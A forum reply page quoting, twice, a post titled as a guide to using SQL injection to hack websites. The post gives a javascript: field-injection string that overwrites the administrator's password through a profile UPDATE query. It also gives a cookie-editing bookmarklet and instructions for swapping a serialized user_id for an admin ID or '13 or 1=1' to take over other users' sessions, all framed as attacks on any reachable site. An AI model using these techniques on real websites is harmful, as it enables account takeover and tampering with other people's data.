Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
Power Lifting Lever Belt
SkullVamp
Updated:
Yesterday at 10:32 PM
Ad icon
port.lk Domain for sale
Lankan-Tech
Updated:
Yesterday at 3:55 PM
Colombo
Kaduwela - Two Storey House for Sale
dilrasan
Updated:
Thursday at 2:23 PM
Ad icon
Wechat qr verification
Pawan2005
Updated:
Thursday at 1:28 AM
🚀 GOOGLE AI PRO 18 MONTHS ACTIVATION 🚀
sayuru bandara
Updated:
Wednesday at 5:34 PM
Electronics
Vehicles
Property
Search
Reply to thread
Forums
Entertainment
New Music
New Post SQL injections to hack(access) website/database information ACQUIRING DATAB
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="saamxvr" data-source="post: 4401102" data-attributes="member: 109029"><p><span style="font-size: 12px"><span style="color: Blue"><strong>ACQUIRING DATABASE INFORMATION</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>A very logic way of acquiring system information from a website's database is by causing errors in the sql queries. These errors can be created through search forms, dynamic links, or session cookies. Most sql injection papers explain how dynamic links and text boxes can be used to execute sql queries but in my opinion, this vulnurability is more common in other input types (select boxes, hidden fields, checkboxes and radio buttons, and cookies!).</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>Mixing data types generally crashes a webpage if it's not well coded. Take for example a link to "memberinfo.php?o_id=1". If your goal is to crash that page it would be a good idea to stick in a " or a ' in the o_id variable. If you're lucky you will get a debug message containing the crippled sql query. After you have all the information you need and you know what you're going after you're ready to hack the hell out of every page that you have access to.</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>CHANGING FIELDS' VALUES</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>The first form you think of is the profile page. Most profile pages ignore a user's intellectuals and don't mask out,for example, select boxes. A way of exploiting this vulnerability is by injecting a sql query in the value property of the field.</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>javascript:alert(document.profileform.user_sex.val ue="gay\',user_pasword=\'HACKED\' WHERE user_id=1#");</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>If we assume that the server side sql query looks something like this:</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>"UPDATE user_data SET user_password='$user_password',user_email='$user_e mail',user_sex='$user_sex' WHERE user_id=$user_id";</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>Then the final query will look somewhat like this:</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>"UPDATE user_data SET user_password='mypassword',user_email='myemail',us er_sex='gay',</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>user_password='HACKED' WHERE</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>user_id=1 #' WHERE user_id=7382";</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong># Is a sql comment operator.</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>2. Bypassing Session Cookies</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>OVERRIDING BASIC SESSION COOKIE AUTHENTICATION</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>Most of the time session handling is done with the use of cookies. The cookies tell the webpage who you are and what you have access to and what you don't have access to. If the page does not handle session cookies correctly a hacker might be able to change their identity to that of another user's. Cookies are stored in "window.document.cookie". With javascript we are able to erase,edit,create cookies for any website. This task is more complicated than regular types of attacks. I will not go into great detail about how it's done.</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>To View the Cookie:</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>javascript:alert(unescape(document.cookie));</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>To Change Cookie Data:</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>javascript:alert(window.c=function a(n,v,nv){c=document.cookie;c=c.substring(c.indexO f<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="smilie smilie--sprite smilie--sprite23" alt="(n)" title="Thumbs down (n)" loading="lazy" data-shortname="(n)" />+n.length,c.length);</strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>c=c.substring(1,((c.indexOf(";")>-1) ? c.indexOf(";") : c.length));nc=unescape(c).replace(v,nv);document.c ookie=n+"="+escape(nc);return unescape(document.cookie);});alert(c(prompt("cooki e name:",""),prompt("replace this value:",""),prompt("with::","")));</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>So If You are logged in as "John Doe" in <a href="http://www.strange-shahn.net/sforums/redirector.php?url=http%3A%2F%2Fwww.ima13370h4x0r.net" target="_blank">www.ima13370h4x0r.net</a> and your session cookie reads:</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>SessionData=</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong>a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID ";i:70202768;s:9:"LastVisit";i:1078367189;}</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>The cookie is actually serialized but you should be able to recognize "75959" as your user_id. Some of the time you will find a website that stores data (like user_id) in cookies but does not typecast the data. This is a serious hole in the site's code because any user is able to change their user_id to any other user or administrator user_id.</strong></span></span></p><p> <span style="font-size: 12px"><span style="color: Blue"><strong></strong></span></span></p><p><span style="font-size: 12px"><span style="color: Blue"><strong>Changing the cookie value is easy once you have declared the window.c function. First change s:5:"75959" to s<img src="http://www.viprasys.org/vb/images/smilies/8.gif" alt="" class="fr-fic fr-dii fr-draggable " style="" />:"ADMINID" where x is the length of the new value. So if you want to change 75959 to 1. You must change s:5:"75959" to s:1:"1" <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="smilie smilie--sprite smilie--sprite1" alt=":-)" title="Smile :-)" loading="lazy" data-shortname=":-)" /> Sometimes you will need to change 75959 to "13 or 1=1" in order to bypass any WHERE statements any sql session queries used to keep you logged in the website.</strong></span></span></p></blockquote><p></p>
[QUOTE="saamxvr, post: 4401102, member: 109029"] [SIZE=3][COLOR=Blue][B]ACQUIRING DATABASE INFORMATION A very logic way of acquiring system information from a website's database is by causing errors in the sql queries. These errors can be created through search forms, dynamic links, or session cookies. Most sql injection papers explain how dynamic links and text boxes can be used to execute sql queries but in my opinion, this vulnurability is more common in other input types (select boxes, hidden fields, checkboxes and radio buttons, and cookies!). Mixing data types generally crashes a webpage if it's not well coded. Take for example a link to "memberinfo.php?o_id=1". If your goal is to crash that page it would be a good idea to stick in a " or a ' in the o_id variable. If you're lucky you will get a debug message containing the crippled sql query. After you have all the information you need and you know what you're going after you're ready to hack the hell out of every page that you have access to. CHANGING FIELDS' VALUES The first form you think of is the profile page. Most profile pages ignore a user's intellectuals and don't mask out,for example, select boxes. A way of exploiting this vulnerability is by injecting a sql query in the value property of the field. javascript:alert(document.profileform.user_sex.val ue="gay\',user_pasword=\'HACKED\' WHERE user_id=1#"); If we assume that the server side sql query looks something like this: "UPDATE user_data SET user_password='$user_password',user_email='$user_e mail',user_sex='$user_sex' WHERE user_id=$user_id"; Then the final query will look somewhat like this: "UPDATE user_data SET user_password='mypassword',user_email='myemail',us er_sex='gay', user_password='HACKED' WHERE user_id=1 #' WHERE user_id=7382"; # Is a sql comment operator. 2. Bypassing Session Cookies OVERRIDING BASIC SESSION COOKIE AUTHENTICATION Most of the time session handling is done with the use of cookies. The cookies tell the webpage who you are and what you have access to and what you don't have access to. If the page does not handle session cookies correctly a hacker might be able to change their identity to that of another user's. Cookies are stored in "window.document.cookie". With javascript we are able to erase,edit,create cookies for any website. This task is more complicated than regular types of attacks. I will not go into great detail about how it's done. To View the Cookie: javascript:alert(unescape(document.cookie)); To Change Cookie Data: javascript:alert(window.c=function a(n,v,nv){c=document.cookie;c=c.substring(c.indexO f(n)+n.length,c.length); c=c.substring(1,((c.indexOf(";")>-1) ? c.indexOf(";") : c.length));nc=unescape(c).replace(v,nv);document.c ookie=n+"="+escape(nc);return unescape(document.cookie);});alert(c(prompt("cooki e name:",""),prompt("replace this value:",""),prompt("with::",""))); So If You are logged in as "John Doe" in [URL="http://www.strange-shahn.net/sforums/redirector.php?url=http%3A%2F%2Fwww.ima13370h4x0r.net"]www.ima13370h4x0r.net[/URL] and your session cookie reads: SessionData= a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID ";i:70202768;s:9:"LastVisit";i:1078367189;} The cookie is actually serialized but you should be able to recognize "75959" as your user_id. Some of the time you will find a website that stores data (like user_id) in cookies but does not typecast the data. This is a serious hole in the site's code because any user is able to change their user_id to any other user or administrator user_id. Changing the cookie value is easy once you have declared the window.c function. First change s:5:"75959" to s[IMG]http://www.viprasys.org/vb/images/smilies/8.gif[/IMG]:"ADMINID" where x is the length of the new value. So if you want to change 75959 to 1. You must change s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or 1=1" in order to bypass any WHERE statements any sql session queries used to keep you logged in the website.[/B][/COLOR][/SIZE] [/QUOTE]
Insert quotes…
Verification
Hathara warak wissa keeyada? (Hathara wadi karanna 20)
Post reply
Top
Bottom